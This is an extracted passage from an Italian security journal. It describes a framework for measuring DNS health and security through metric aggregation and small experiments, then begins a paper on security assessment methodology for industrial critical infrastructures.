Periodo medio intercorso tra due interruzioni di funzionamento
Operational availability
Security
Scendendo maggiormente nel dettaglio possiamo
considerare il periodo di funzionamento del framework diviso in tre macro-sessioni: Preliminary
Diagnosis, SLO and Scenario Definition, Detailed Diagnosis
and Measurement.
Nella fase di Preliminary Diagnosis, scelto un
determinato PoV, viene eseguita una prima valutazione sui livelli di Health percepiti. Questa viene condotta attraverso semplici meccanismi di misura (es.
tool di monitoraggio) e con il supporto di un sottoinsieme delle metriche proposte.
Nella fase di SLO and Scenario Definition, sul
medesimo PoV, vengono selezionati uno o più scenari di minaccia ed al contempo quegli indicatori di
DNS H&S che siano rappresentativi e misurabili
attack Surface
attack Deepness
attack escalation Speed
Percentuale di tempo in cui un sistema ICT è in funzione su
un lungo periodo
Percentuale di nodi di un sistema che è suscettibile ad un
certo tipo di attacco
Percentuale di nodi colpiti in conseguenza di un attacco
Numero di attacchi in un determinato intervallo di tempo
annualized Loss expectancy Perdità economica derivante da incidenti al sistema
Tabella 2: Esempi di metriche per la valutazione di Health e Security del DNS.
92
nella specifica situazione.
La fase di Detailed Diagnosis and measurement è
infine dedicata alla valutazione di: (1) livelli di H&S
percepiti, (2) raggiungibilità degli SLO, (3) eventuali
cause di violazione degli SLO, (4) azioni perseguibili
per migliorare la DNS H&S.
Possiamo considerare quest’ultima fase organizzata in tre step: selezione delle metriche, misurazione
ed aggregazione.
La Metric Selection è un processo eseguito prima
della valutazione di un sistema concernente la scelta
delle misure da inserire nel framework. Quest’ultimo
fornisce infatti agli utenti vari possibili raggruppamenti di metriche tarati caso per caso in base agli scenari di minaccia ed ai PoV.
La Measurement Phase è composta da una fase di
collezionamento dati e, a seguire, una sessione in cui
le metriche selezionate nella fase precedente vengono calcolate. abbiamo proposto un modello di misurazione bottom up [9][10] in cui, dopo l’acquisizione
delle informazioni da altri PoV vengono in sequenza: (1) calcolati indici come network reachability o
network load che diano un riferimento di quanto le
nostre valutazioni siano dipendenti da uno stato,
eventualmente critico, dell’infrastruttura fisica e (2)
calcolate metriche proprie dell’H&S.
Nella Aggregation Phase vengono combinate tutte
le misure collezionate nelle precedenti ottenendo i
cosiddetti indici aggregati. Questi riassumono informazioni riguardanti: la H&S percepita nel PoV, i
livelli di SLO realmente raggiungibili ed infine le
cause di eventuali problemi.
5. Aggregazione delle metriche
Il concetto di Health & Security di un sistema
racchiude in sé aspetti complessi ed è, per questo
motivo, difficilmente esprimibile attraverso singole
metriche.
Per una valutazione corretta è necessario considerare uno o più indicatori (o indici) aggregati. ad
esempio, un end user che desideri una valutazione
esauriente, sarà interessato sia ad una classificazione
più generale della DNS H&S sia ad una valutazione
specifica dei componenti del sistema.
esistono vari modi con cui è possibile aggregare
le metriche proposte. In questo documento considereremo due approcci (descritti in dettaglio nei paragrafi seguenti). entrambi presentano vantaggi e
svantaggi. Prima di entrare nello specifico delle due
metodologie, nel seguito descriviamo i concetti
comuni.
Generalmente, dato un PoV, è possibile definire:
un indice di Total Evaluation (Te) che esprima una
valutazione generale della DNS Health & Security
più alcuni indicatori che rappresentino aspetti più
specifici del sistema (es. problematiche nei protocolli, vulnerabilità legate al DDoS, problemi sui componenti, ecc.).
ad uno specifico PoV e agli indici ad esso collegati viene sempre associato un insieme di metriche,
necessarie al calcolo degli indicatori stessi e misurabili nel contesto in esame.
Infine, un altro elemento connesso al concetto di
PoV è rappresentato dal quality mapping ovvero una
funzione di normalizzazione dei dati relativi alle
metriche che li renda adimensionali e confrontabili.
formalmente un PoV comporta l’individuazione
di:
• un insieme di M metriche {m1, …, mM} con Di
dominio della metrica mi. Dunque diciamo che
i valori misurati vi1, vi2, …, di mi appartengono
a Di .
• un insieme di Q funzioni di quality mapping
qi: Di → [0, 1], una per ogni metrica mi. Il mapping qi trasforma il valore misurato vij in un
valore di qualità adimensionale qij = q(vij), dove
0 indica la valutazione più bassa possibile ed 1
la più alta.
• un insieme di indicatori aggregati. Ogni indicatore Ik è definito interamente dal suo
vettore di pesi wk = (wk1, …, wkM) esso è tale
M
che ∑i=1
wki = 1 con wki compreso
nell’intervallo [0, 1].
Nel seguito, per semplicità di rappresentazione,
identificheremo sempre il PoV con la prospettiva che
l’end user ha del DNS.
5.1 Aggregazione Session-based
Questo tipo di aggregazione matematica richiede
un periodo di misura diviso in diverse sessioni
T = {s1, …, sS}, il cui numero S (nonché la durata)
viene specificato nel PoV ed è indipendente dalle
metriche considerate. Il valore di S dipende dall’obiettivo dell’analisi, dal grado di precisione desiderato e dai tool utilizzati nel framework. In generale, un
alto numero di sessioni rende la valutazione
dell’H&S più precisa. Durante ogni sessione, il collezionamento di dati prevede la misurazione di un
93
valore per ogni metrica. Tali valori saranno di volta in
volta manipolati ed aggregati fino all’ottenimento
degli indicatori finali. alla fine dell’esperimento, gli
indici ottenuti precedentemente saranno nuovamente combinati insieme col fine di ottenere i valori medi
e le incertezze di misura.
Per ogni sessione si, i tool di misurazione forniscono un valore vij per ogni metrica mi. Le misurazioni vij sono, in seguito, mappate sui valori di qualità qij
attraverso la funzione qi. Per ogni indicatori Ik e per
ogni sessione calcoliamo l’indice Iki come media
pesata dei valori di qualità attraverso il vettore di pesi
dell’indicatore stesso. es.
dove Iik è il valore aggregato dell’i-esimo indicatore Ik. al termine dell’ultima sessione, per ogni indicatore Ik, viene calcolato il risultato aggregato finale
definito come valore medio degli indicatori di sessione Iki, mentre la deviazione standard rappresenta
l’incertezza ∆Ik.
Vale la pena notare come questo metodo di
aggregazione non permetta di avere valori vij mancanti. In uno scenario reale potrebbe capitare che,
durante una sessione sia impossibile ottenere la misura vih della metrica mh, ad esempio a causa di un problema nel tool o della connessione. Questo fa sì che
anche il valore di qih non sia disponibile. In questo
caso l’equazione precedente per il calcolo di Ik non
potrebbe essere calcolata nel caso in cui l’indicatore
avesse wkh ≠ 0. Calcolare la media pesata dei valori
comunque disponibili (dopo averli rinormalizzati)
potrebbe essere una soluzione.
Nonostante questo, tale modifica altererebbe il
modo con cui il vettore di pesi esprime l’importanza
di una metrica per uno specifico indicatore. Inoltre,
nel caso in cui tutti i valori vih tale che wkh non fossero disponibili, l’equazione precedente non sarebbe
comunque utilizzabile. evitare di aggregare tutte
94
quelle sessioni che avessero un valore mancante è l’unica soluzione praticabile per la metodologia proposta nonostante l’incertezza sulla valutazione risulti
maggiore.
Come spiegato in precedenza, il metodo di aggregazione basato su sessioni di tempo prefissato fornisce un metodo semplice per gestire l’errore di misura, ma in caso di valutazioni mancanti, il risultato
risulterebbe irrimediabilmente meno preciso.
5.2 Aggregazione Metric-based
In questa sezione definiamo un metodo di aggregazione delle misure leggermente differente dal precedente.
Diversamente da quanto detto prima, la lunghezza delle sessioni può variare dipendentemente dalle
metriche. Infatti, per ogni metrica mi il tempo viene
diviso in Si sessioni {sij} con j = 1, …, Si. Il valore di
Si e la durata delle sessioni dipende dalla metrica mi e
specificamente dalla natura della misura. Questo,
nella maggior parte dei casi, permette una migliore
misurazione della metrica. Per esempio, alcune metriche potrebbero aver bisogno di collezionare molti
dati in sessioni che non richiedono molto tempo
mentre altre, al contrario, potrebbero necessitare di
pochi dati ma periodi di misura più lunghi. un altro
vantaggio di questa metodologia è relativo alla possibilità di gestire misurazioni mancanti. Le specifiche
sulle sessioni possono essere indicate nel PoV o
modificate a seconda dei requisiti di sistema (o dei
tool utilizzati).
Per ogni metrica mi e per ogni sessione sij di mi, i
valori vij sono mappati nei rispettivi valori di qualità
qij attraverso la funzione qi. In seguito calcoliamo il
valore medio e la deviazione standard sulle Si sessioni che rappresentano rispettivamente il valore di qualità della metrica mi e il corrispondente livello di
incertezza.
formalmente, per ogni metrica mi:
Gli indicatori aggregati sono calcolati come
medie pesate attraverso i vettori di peso. Possiamo
ottenere una stima dell’incertezza con la media pesata degli errori per ogni metrica. formalmente l’indicatore aggregato k-esimo e l’errore stimato sono calSpeciale Sicurezza ICT
colati come:
to dei dati sarebbe diverso ed i vincoli sul livello di
servizio sarebbero molto più stringenti.
6.1 Misure e Metriche
In alcuni casi, le metriche possono essere considerate indipendenti e dunque la stima dell’errore precedente può essere sostituita con una più precisa calcolata come segue:
L’ipotesi che le metriche siano indipendenti può
essere a volte troppo forte. Per questa ragione il PoV
può eventualmente specificare se debba essere usato
la prima o la seconda formula nel calcolo di ∆Ik.
L’aggregazione metric-based è più complessa
della precedente. Il metodo proposto per aggregare
gli errori potrebbe essere sottoposto a revisione non
ostante la teoria degli errori sostenga le due strategie
proposte. La prima, come già accennato, dovrebbe
essere preferita solo nel caso di mutua dipendenza
delle metriche.
un indubbio vantaggio di questa metodologia di
aggregazione risiede nella possibilità di gestire semplicemente eventuali valori mancanti poiché, per
ogni metrica, il calcolo viene fatto esclusivamente
sulla base delle misure disponibili. Infine, è utile
ricordare come la flessibilità dello schema possa
risultare molto utile in presenza di metriche con
requisiti differenti.
6. Valutazioni sperimentali
Nel seguito vengono presentati un insieme di
risultati sperimentali con lo scopo di mostrare al lettore come il framework può essere utilizzato e la
tipologia dei risultati ottenibili. Il caso di studio considerato è quello di un end user che accede a contenuti informativi mediante un browser; ci collochiamo quindi nel caso dell’end user PoV.
La stessa metodologia di aggregazione può essere applicata al caso del sistema energetico descritto in
Sezione 3. Ovviamente, nello scenario di operazioni
di basso alto livello (Sezione 3.2) ci troviamo in un
caso molto simile a quello mostrato nel seguito.
Nello scenario che riguarda operazioni di basso livello invece (Sezione 3.3), il processo di collezionamenSpeciale Sicurezza ICT
Gli esperimenti condotti hanno richiesto la configurazione di due testbed ognuno composto da una
macchina Windows con firefox 8.0 in esecuzione.
Nel primo caso il PC era connesso alla rete Internet
attraverso l’ISP italiano fastweb (7mbit/s nominali)
dal laboratorio di GCSeC mentre il secondo usava la
rete GaRR con access point l’università di Roma
“Tor Vergata” (uTV). Le risoluzioni DNS sono state
demandate rispettivamente ai resolver di fastweb e
di uTV.
Ogni test ha collezionato dati su 10-12 sessioni di
navigazione sul web (web browsing). Ogni sessione è
durata dai 10 ai 15 minuti per un totale di 2 ore. Per
ogni sessione abbiamo collezionato ed analizzato
dati ottenendo dunque 10-12 valori per metrica (uno
ogni sessione).
Nei nostri esperimenti abbiamo considerato, tra
quelle discusse in [11], le seguenti metriche:
a) Incoming Bandwidth Consumption (IbC): definita
come il rapporto tra l’ammontare dei pacchetti di rete in entrata durante una sessione ed il
tempo della sessione stessa. Il dominio di
questa metrica è [0, IBCmax] misurato in
mbit/s dove il valore di IBCmax rappresenta il
massimo nominale nella banda dichiarato
dall’ISP.
b) Incoming Traffic Variation (ITV): definito, per
ogni sessione i, come (IBCi - IBCi-1) / lengthi
dove IBCi è l’incoming bandwidth consumption misurato nell’i-esima sessione. Il dominio
di questa metrica è [-ITVmax, ITVmax]
(mbit/s2) con:
ITVmax = maxi (IBCmax / lengthi).
c) Traffic Tolerance (TT): misurata con il Round
Trip Time di un pacchetto IP in transito tra la
macchina dell’end user ed il recursive resolver dell’ISP. Il dominio della metrica è [0, ∞]
misurato in secondi.
d) Stub Resolver Cache Poisoning (CP): misurata
attraverso la percentuale di entry della cache
avvelenate. Il dominio è [0, 100]. Ogni entry
della cache è controllata usando un insieme di
recursive resolver noti.
e) DNS Requests per Second (DNSR): definita
come il numero di richieste DNS fatte duran-
95
te la sessione. Il dominio è [0, ∞].
f) Rate of Repeated Queries (RRQ): definita come il
numero di richieste DNS ripetute. un comportamento corretto dell’infrastruttura,
durante una breve sessione di lavoro con
caching attivo, sarebbe quello di risolvere il
nome di dominio solo una volta. La presenza
di numerose query DNS per la medesima
informazione può essere un segnale di un funzionamento non corretto. Il dominio è [0, ∞].
Quello che segue è invece l’insieme di funzione di
quality mapping per le metriche precedentemente
definite:
g) Incoming Bandwidth Consumption (IbC): sia
IBCmax il massimo valore di banda fornito
dall’ISP. La funzione di quality mapping
q: [0, IBCmax] → [0, 1] per questa metrica è definita come:
h) Incoming Traffic Variation (ITV): la funzione di
quality mapping q: [-ITVmax, ITVmax] → [0, 1]
per la metrica ITV è definita come:
i) Traffic Tolerance (TT): sia RTTavg il valore medio
tra gli RTT durante la sessione. Definiamo la
funzione di quality mapping q: [0, ∞] → [0, 1]
per la metrica TT come:
j) Cache Poisoning per lo Stub Resolver (CP-SR): la
funzione di quality mapping q: [0, 100] → [0, 1]
per questa metrica è definita come:
Dove k è un parametro tarato appositamente.
Nel nostro caso, dopo alcuni test, abbiamo
deciso di mappare un risultato del 10% di
entry avvelenate su un valore di qualità vicino
a 0.6 ottenibile con k = 20.
k) DNS Requests per Seconds (DNSR): la funzione
di quality mapping permette di confrontare il
comportamento corrente del DNS con un
96
riferimento misurato a priori. Sia DNSRavg il
numero medio di richieste DNS al secondo
durante una normale sessione. La funzione di
quality mapping q: [0, 100] → [0, 1] per questa
metrica è definita come:
l) Rate of Repeated Queries (RRQ): sia Rmax il massimo numero di richieste DNS nella sessione
corrente. Vale la pena notare come Rmax possa
cambiare tra le varie sessioni. La funzione di
quality mapping q: [0, ∞] → [0, 1] per questa
metrica è definita come:
6.2 Aggregazione
La figura 3 mostra i valori di qualità e l’aggregazione eseguita con il metodo session-based. La
figura 4 mostra invece i medesimi valori ma con i
risultati dell’aggregazione metric-based.
Per ogni sessione, le stime di qualità delle metriche sono combinate nei seguenti indici aggregati
(questi indici sono propri dell’end user PoV):
m) Total Evaluation (Te): fornisce una valutazione
globale del PoV attraverso l’aggregazione di
tutte le metriche considerate nella prospettiva.
È interessante notare come la metrica di
Cache Poisoning possa essere interessata da
problemi relativi a falsi positivi. Per questa
ragione abbiamo deciso di considerarla meno
influente nella valutazione finale del sistema.
Dunque il peso della metrica CP nel risultato
dell’indicatore Te sarà più basso rispetto alle
altre metriche. Questo avrà l’effetto di ridurre
l’impatto dei suddetti falsi positivi sul risultato
finale.
n) Protocol Issues (PI): stima eventuali problemi nei
protocolli del DNS. Nel nostro PoV è legato
solo alla metrica del cache poisoning.
o) Denial of Service (DoS): valuta quanto sia
improbabile la presenza di un attacco DoS
nello scenario corrente. aggrega tutte le
metriche meno quella di cache poisoning.
p) NET: stima le performance del componente
rete. Le metriche aggregate saranno: Incoming
Figura 3: Valori calcolati attraverso l’aggregazione session-based.
Figura 4: Valori calcolati attraverso l’aggregazione metric-based.
bandwidth Consumption, Incoming Traffic
Variation, Traffic Tolerance.
q) Stub Resolver (SR): valuta le performance relative allo Stub Resolver. aggrega le metriche di
Cache Poisoning, DNS Requests Variation per
Second, Rate of Repeated Queries. La metrica CP anche in questo caso ha un peso inferiore per evitare che i falsi positivi abbiano un
impatto preponderante nella valutazione.
6.3 Valutazioni finali
La Total evaluation rappresenta il risultato finale
dell’end user PoV. esso rispecchia le perfomance
del sistema concentrandosi sui servizi del DNS che
un utente è in grado di misurare. In questo scenario
possiamo accettare piccoli disservizi come ad esempio problemi temporanei dell’infrastruttura risolvibili semplicemente ricaricando una pagina web. Per
questa ragione valori dell’indicatore Te intorno allo
0.8 sono possibili in un sistema che funzioni adeguatamente. Con il nostro framework è possibile dunque
verificare la qualità del servizio ed
eventualmente controllare se vi fossero violazioni sugli SLO.
Nel primo esperimento vengono
collezionate le misure dalla rete
GCSeC e vengono valutati i risultati ottenuti per entrambi i metodi di
aggregazione discussi precedentemente (vedi figura 5). I valori ottenuti per gli indicatori sono abbastanza simili. La Total evaluation è 0.76
in tutti e due i casi. Questo valore
quantifica i livelli di H&S effettivamente percepiti dall’end user. Gli
altri risultati aggregati danno una
valutazione delle perfomance dei
differenti aspetti del servizio e sui
singoli componenti. Questa informazione può essere importante per
migliorare le perfomance del sistema, perché permette di evidenziare
su quali elementi eventualmente
bisogni concentrarsi in casi di malfunzionamento. I nostri calcoli
mostrano come lo Stub Resolver sia
il componente in cui, con maggiore
probabilità, possa essere riscontrato
un problema poiché il valore di SR è
abbastanza distante da 1 (~0.66).
Invece, il componente di rete (NeT) ha una valutazione positiva (~0.85). È importante notare che
sarebbe possibile fare un’ulteriore analisi se i risultati
della prospettiva Recursive Resolver fossero disponibili come input all’end user PoV. aggregare tali
valori con le metriche calcolabili localmente incrementerebbe l’accuratezza della valutazione generale e
rifinirebbe quella dei singoli componenti.
analizzando i risultati ottenuti è possibile evincere anche informazioni sui possibili scenari di minaccia che potrebbero influenzare l’infrastruttura.
alcuni indicatori danno informazioni sulla probabilità che un certo attacco sia in corso. Nel nostro esperimento, ad esempio, i valori alti negli indici PI e DoS
(rispettivamente attorno a 0.7 e 0.8) indicano, con
bassa incertezza, che il sistema non era affetto da
problematiche come Protocol Issues e Denial of
Service al momento della misurazione.
Nel secondo esperimento abbiamo usato il framework per misurare i livelli di Health and Security
del DNS nella rete GaRR. In questo caso abbiamo
deciso di utilizzare la metodologia di aggregazione
97
due indici sono rispettivamente 0.8 e
0.85. Per questo motivo, ancora una
volta, possiamo escludere l’ipotesi in
cui il sistema sia sotto attacco di denial
of service o abbia problemi a livello di
protocolli.
Infine, nell’ultimo esperimento,
abbiamo simulato del cache poisoning
con l’intento di validare la nostra
metodologia di valutazione. Il cache
poisoning è stato implementato corrompendo manualmente il 10% delle
entry della cache DNS in una macchina del laboratorio di GCSeC.
In conseguenza, la Total
evaluation del sistema (vedi figura 7)
Figura 5: Valori degli indici aggregati per la valutazione del livello di H&S effettuando le
scende a 0.7. Il componente NeT è
misure dalla rete GCSEC.
ancora stimato attorno a 0.8 ma la
valutazione dello Stub Resolver scende a 0.6. Questi risultati descrivono la
presenza di problemi nelle librerie di
implementazione del DNS del sistema
operativo, come del resto ci aspettavamo. Proseguendo nel processo di
valutazione scopriamo che la nostra
infrastruttura è sottoposta, senza dubbio, a problematiche legate ai protocolli dato che l’indicatore di Protocol
Issues è 0.38. L’indice DoS rimane
invece sopra 0.75.
È significativo sottolineare come i
risultati dell’ultimo esperimento guidino l’utente direttamente alle contromisure da effettuare per migliorare le
prestazioni del sistema. Il confronto
Figura 6: Valori degli indici aggregati per la valutazione del livello di H&S effettuando le
degli indicatori relativi ai componenti
misure dalla rete UTV.
con quelli legati alle minacce ci permette di identificare con esattezza (e
dunque di intervenire) sul problema di
session-based.
cache poisoning. Infatti, nel resoconto di valutazione
La Total evaluation (vedi figura 6) assume il
finale il framework dovrà suggerire all’utente di canvalore 0.8 con un incremento di circa il 5% se paracellare la cache DNS. Consigliare inoltre di ripetere la
gonata al test eseguito nel laboratorio di GCSeC.
valutazione subito dopo permetterà anche di avere
Questo è dovuto soprattutto all’ottimo risultato otteun’immediata validazione della correttezza dell’azionuto dalla metrica di cache poisoning (oltre 0.85).
ne intrapresa.
entrambi i componenti NeT e Stub Resolver hanno
È importante infine notare come i test eseguiti
buone performance: il primo è stimato 0.86 mentre il
non siano da considerare generali e come dunque
secondo si attesta poco sopra 0.7.
essi debbano ancora essere suffragati da un più
mentre gli indicatori precedenti mostrano risultaampio insieme di esperimenti. Il nostro obiettivo è
ti su elementi dell’infrastruttura, come abbiamo
stato quello di mostrare come sia possibile misurare
accennato prima, DoS e PI descrivono una valutadelle caratteristiche dell’infrastruttura e come le
zione su degli scenari di minaccia. I valori di questi
98
mework meNSa che ha l’ambizioso
obiettivo di definire una metodologia,
metriche e strumenti per la misura del
DNS. La realizzazione di tale framework è estremamente sfidante sia dal
punto di vista modellistico che tecnologico, ma soprattutto dal punto di
vista politico. Nonostante i proclami
della comunità (ICaNN e DNSOaRC prevalentemente) riguardo
alla necessità di condividere le informazioni tra gli operatori del DNS, di
fatto, poco o niente viene condiviso
e/o reso pubblico. Non ci sono standard per la misura, non vi sono standard per la condivisione delle inforFigura 7: Risultati degli indicatori aggregati nel caso in cui venga introdotto del cache poisoning.
mazioni, non vi è un’entità (centrale o
distribuita) in grado di coordinare le
metriche identificate possano essere utilizzate ed
risposte ad attacchi al DNS.
aggregate per investigare la DNS Health & Security.
Siamo convinti che il progetto meNSa, possa
essere un primo passo per dare delle soluzione a
parte dei problemi citati e soprattutto possa fornire
7. Conclusioni
strumenti utili sia per gli operatori, sia per gli utenti
finali (siano essi operatori critici o consumatori bestQuesto lavoro analizza il DNS come infrastruttueffort) per contribuire a creare un DNS più sano e
ra critica e pone l’accento su come da essa dipendosicuro. Inoltre, il framework meNSa vuole fornire
no altre infrastrutture critiche, portando l’esempio
una base metodologia per la realizzazione di un
della rete di distribuzione elettrica. Sono stati consiDNS-CeRT.
derati vari aspetti: le vulnerabilità del DNS, la necesIl metodo di aggregazione presentato, che è una
sità di un framework per la misura del livello di sicudelle parti più importanti del framework, deve indubrezza, stabilità e resilienza (o più ad ampio spettro di
biamente essere validato con dati reali, ed i risultati
health) del DNS, come le vulnerabilità del DNS
sperimentali hanno il solo obiettivo di mostrare un
impattano l’operatività del sistema di distribuzione
esempio di funzionamento del modello proposto.
energetica, ed infine sono stati portati degli esempi di
Nel medio-lungo termine il progetto prevede una
misura del livello di health e security del DNS.
validazione della metodologia su più larga scala e per
Per quanto riguarda la misura del livello di sicugli altri punti di vista definiti. Inoltre è anche previrezza, stabilità e resilienza, abbiamo proposto il frasto un raffinamento delle metriche proposte.
BIBLIOGRAFIA
[1]
[2]
[3]
[4]
eastWest Institute, “Working Towards Rules for Governing Cyber Conflict: Rendering the Geneva and
Hague Conventions in Cyberspace”, 2011, 12.
Sebastian Castro, Duane Wessels, marina fomenkov, and Kimberly Claffy, “a day at the root of the internet”, SIGCOmm Comput. Commun. Rev. 38, 5 (September 2008), 41-46.
DNS-OaRC, The Day in the life of Internet (DITL) project.
Richard Liston, Sridhar Srinivasan and ellen zegura, “Diversity in DNS performance measures.”, In
Proceedings of the 2nd aCm SIGCOmm Workshop on Internet measurment (ImW ’02), 2002, aCm,
New york, Ny, uSa, 19-31.
99
[5]
y. Sekiya, K. Cho, a. Kato and J. murai, “Research of method for DNS performance measurement and
evaluation based on benchmark DNS servers”, electronics and Communications in Japan (Part I:
Communications), 89: 66–75, 2006.
[6] ICaNN, “Security, Stability and Resiliency of the Domain Name System”, Jan. 2009,
http://www.gtisc.gatech.edu/pdf/DNSSSRPaper.pdf
[7] “measuring the health of the Domain Name System”, Report of the 2nd annual Symposium on DNS
Security,
Stability,
&
Resiliency,
feb
2010,
Kyoto,
Japan
(apr.
2010),
https://www.icann.org/en/topics/ssr/dns-ssr-symposium- report-1-3feb10-en.pdf
[8] mark Santcroos, Olaf m. Kolkman, “DNS Threat analysis”, NLnet Labs document, 2006-Se-01 version 1.0 may 3, 2007.
[9] e. Casalicchio, m. Caselli, D. Conrad, J. Damas, I.N. fovino, “Reference architecture, models and
metrics”, GCSeC Report, Version 1.5, July 2011 (available at http://www.gcsec.org).
[10] e. Casalicchio, m. Caselli, D. Conrad, J. Damas, I. Nai fovino, “framework operation, the Web user
PoV”, GCSeC Report, Version 1.1, July 2011 (available at http://www.gcsec.org).
[11] e. Casalicchio, D. Conrad, J. Damas, S. Diblasi, I. Nai fovino, “DNS metric use Cases”, GCSeC
Report, Version 1.0, may 2011 (available at http://www.gcsec.org).
100
Igor Nai Fovino
Global Cyber Security Center
VALUTAZIONE DELLA SICUREZZA DELLE INFRASTRUTTURE CRITICHE,
DEFINIZIONI E METODOLOGIA
(SECURITY ASSESSMENT OF CRITICAL INFRASTRUCTURES, DEFINITIONS
METHODOLOGY)
Sommario
Le minacce alla sicurezza sono uno dei principali problemi dell’era dei calcolatori. Tutti i sistemi che fanno uso delle
tecnologie dell’informazione e della comunicazione (ICT) sono
esposti a malfunzionamenti e vulnerabilità che possono essere
sfruttati da codice e agenti maligni. Considerando l’uso imponente delle tecnologie ICT nelle cosiddette “infrastrutture critiche”, diventa doveroso eseguire adeguate valutazioni dei rischi
sulla sicurezza, mettendo in evidenza le principali minacce a
cui un sistema è esposto e, alla fine, l’efficacia delle possibili
contromisure. Sfortunatamente, le caratteristiche delle infrastrutture critiche industriali rendono difficile l’uso delle tecniche tradizionali di valutazione del rischio. In questo contributo presentiamo una metodologia innovativa per la valutazione
del rischio sulla sicurezza adattata alle esigenze di questi particolari sistemi e basata sul paradigma dei sistemi-di-sistemi e
sul concetto di “modellazione orientata al servizio”. Dopo
aver fornito una panoramica dello Stato dell’Arte nella disciplina della valutazione del rischio per le Infrastrutture
Critiche, forniamo alcune definizioni base sulla sicurezza e
infrastrutture critiche. Successivamente descriviamo la metodologia proposta, presentando i risultati della sua applicazione
in un caso di studio concreto.
1. Introduzione
Le minacce informatiche sono uno dei principali
problemi dell’era digitale.
Tutti i sistemi che fanno uso di tecnologie informatiche sono potenzialmente soggetti a vulnerabilità
che potrebbero essere sfruttate da software malevoli
(virus, worms ecc.) e da criminali.
La situazione è ancora più delicata se consideriamo il caso delle infrastrutture critiche, ossia quelle
infrastrutture il cui danneggiamento può impattare
seriamente la vita del comune cittadino. Esempi di
A bstract
Security threats are one of the main problems of this computer-based era. All systems making use of information and
communication technologies (ICT) are prone to failures and
vulnerabilities that can be exploited by malicious software and
agents. Considering the massive use of ICT technologies in the
so called “critical infrastructures”, it become imperative to perform adequate security risk assessments, putting in evidence the
main threats a system is exposed to and eventually the effectiveness of the possible countermeasures. Unfortunately, the
peculiarities of industrial critical infrastructures make hard
the use of traditional security assessment techniques. In this
paper we present an innovative security assessment methodology tailored for these particular systems, and based on the
system-of-system paradigm and on the concept of “service
oriented modelling”. After giving an overview of the State of
the Art in the field of security assessment for Critical
Infrastructures, we provide some basic definitions on security
and critical infrastructures. Then we describe the proposed
methodology, presenting the results of its application on a real
case study.
infrastrutture critiche possono essere centrali elettriche, impianti per l’acqua potabile, ma anche sistemi
di controllo del traffico ferroviario, aereo e così via.
Se una di queste infrastrutture venisse attaccata o
danneggiata, gli effetti potrebbero essere estremamente dannosi.
Per questo motivo tali infrastrutture dovrebbero
essere ciclicamente sottoposte a processi di security
assessment (i.e. valutazione della loro sicurezza), al
fine di individuare eventuali falle e porvi rimedio.
In questo articolo poniamo l’attenzione su quelle
infrastrutture critiche che, per definizione, vengono
101
Igor Nai Fovino
definite industriali (centrali elettriche, nucleari, sistemi di controllo ferroviari, reti gas, acquedotti ecc.).
Tali infrastrutture presentano peculiarità che, per
motivi storici e tecnici, le differenziano nettamente
da quelle informatiche tradizionali.
Le infrastrutture industriali combinano assieme
tipici sistemi informatici (basi di dati, protocolli
TCP/IP, sistemi operativi ed applicazioni da ufficio),
con software ed elementi aventi caratteristiche di
tempo reale che implementano le funzioni di controllo dei dispositivi di basso livello (ad esempio
sistemi per il controllo e la misura della pressione di
condutture, della velocità di turbine, del grado di
apertura di valvole idrauliche, ecc.).
Negli ultimi anni, questi già complessi sistemi
ibridi, hanno iniziato ad essere connessi a reti interne
ed esterne al perimetro aziendale. Se da una parte tale
innovazione tecnologica ha reso possibili molti nuovi
servizi, d’altro canto essa ha aperto le porte a nuovi,
più inquietanti scenari e possibilità di attacco. Così,
mentre sino agli anni ’90 la sicurezza delle infrastrutture critiche era più che altro un fatto di “sicurezza
fisica e controllo degli accessi”, nei moderni sistemi,
non più isolati dal resto del mondo, le vulnerabilità
informatiche sono diventate oggetto di massima
attenzione.
Mentre per le infrastrutture informatiche tradizionali esistono in letteratura (come verrà presentato
nella sezione relativa) metodologie per la valutazione
della sicurezza informatica ben collaudate, il campo
della valutazione della sicurezza informatica delle
infrastrutture critiche industriali è relativamente giovane. La maggior parte dell’attenzione, in questo
contesto, è spesso concentrato sulla valutazione dei
classici sistemi informatici della rete aziendale, tralasciando completamente tutto ciò che avviene nel lato
industriale degli impianti.
Purtroppo i maggiori rischi, come il caso Stuxnet
[1] insegna, sono nella parte bassa di queste infrastrutture, ossia in quelli più vicini ai meccanismi di
controllo. Le metodologie tradizionali di valutazione
della sicurezza informatica non sono adeguate ad
analizzare questa parte dei sistemi industriali: la
coesistenza di ambienti molto eterogenei (sistemi
real-time, sistemi elettromeccanici, software sviluppati appositamente per applicazioni particolari, sistemi desktop), i vincoli che derivano dai fenomeni fisici controllati da questi sistemi (ad esempio la stabilità elettrica) e gli obiettivi di business nettamente
diversi rispetto al mondo informatico tradizionale
costituiscono elementi di difficile valutazione e com-
102
prensione.
Per rendere chiara questa diversità, consideriamo
questo esempio: è prassi normale avere delle politiche di software patch nei sistemi informatici, spesso
configurate per installare automaticamente nuovi
aggiornamenti quando questi sono disponibili.
Mentre tale pratica è da considerare altamente consigliata in sistemi informatici tradizionali, nel caso dei
sistemi industriali potrebbe non essere la migliore:
spesso l’installazione di una patch richiede il riavvio
della macchina, ma se questa macchina controlla un
processo industriale, il suo riavvio implica automaticamente l’alt dell’intera catena di produzione, fatto
questo che causa notevoli costi economici e che
potrebbe non essere possibile se non mettendo a
rischio servizi ritenuti vitali per la società (si pensi
allo stop di una centrale elettrica).
Questi vincoli influenzano pesantemente il modo
e le procedure che devono essere intraprese quando
si tratta di intervenire sulla sicurezza di infrastrutture
industriali, e di conseguenza l’analisi di sicurezza
deve essere in grado di tenerne conto.
Inoltre tali considerazioni mettono in evidenza
come esista la necessità di includere nei processi di
analisi la comprensione del funzionamento di elementi che con l’informatica hanno in linea di principio ben poco a che fare.
Ciò pone l’attenzione sulla necessità di tenere in
considerazione dell’eterogeneità di informazioni che
un processo di analisi della sicurezza deve essere in
grado di processare nel caso di infrastrutture industriali:
• Caratteristiche dei sistemi coinvolti (hardware,
procedure, processi, politiche di sicurezza,
politiche di operatività in condizioni normali e
di emergenza, ecc.).
• Vulnerabilità.
• Minacce (agenti di minaccia, risorse di attacco
stimate, ecc.).
• Attacchi.
• Contromisure.
Oltre a tutto questo è necessario tenere conto
anche delle interazioni tra azioni malevole, fallimenti
accidentali di sistemi di controllo ed errori umani.
Negli ultimi anni le cose poi si sono ulteriormente complicate: l’utilizzo della rete pubblica per interconnettere diverse parti di queste infrastrutture critiche, ha fatto evolvere questi sistemi da “isolati” a
complessi sistemi-di-sistemi. Così, la comprensione
degli effetti collaterali o dei fallimenti locali, deve
